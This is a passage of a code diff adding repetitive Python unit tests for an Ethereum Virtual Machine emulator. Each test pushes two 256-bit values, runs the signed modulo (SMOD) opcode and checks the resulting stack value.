+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_SMOD_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SMOD_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_SMOD_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_SMOD_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_SMOD_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SMOD_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SMOD_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301007L])
+
+    def test_SMOD_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SMOD_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_SMOD_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_SMOD_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_SMOD_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SMOD_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SMOD_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_SMOD_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SMOD_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SMOD_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SMOD_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_SMOD_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SMOD_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SMOD_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SMOD_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
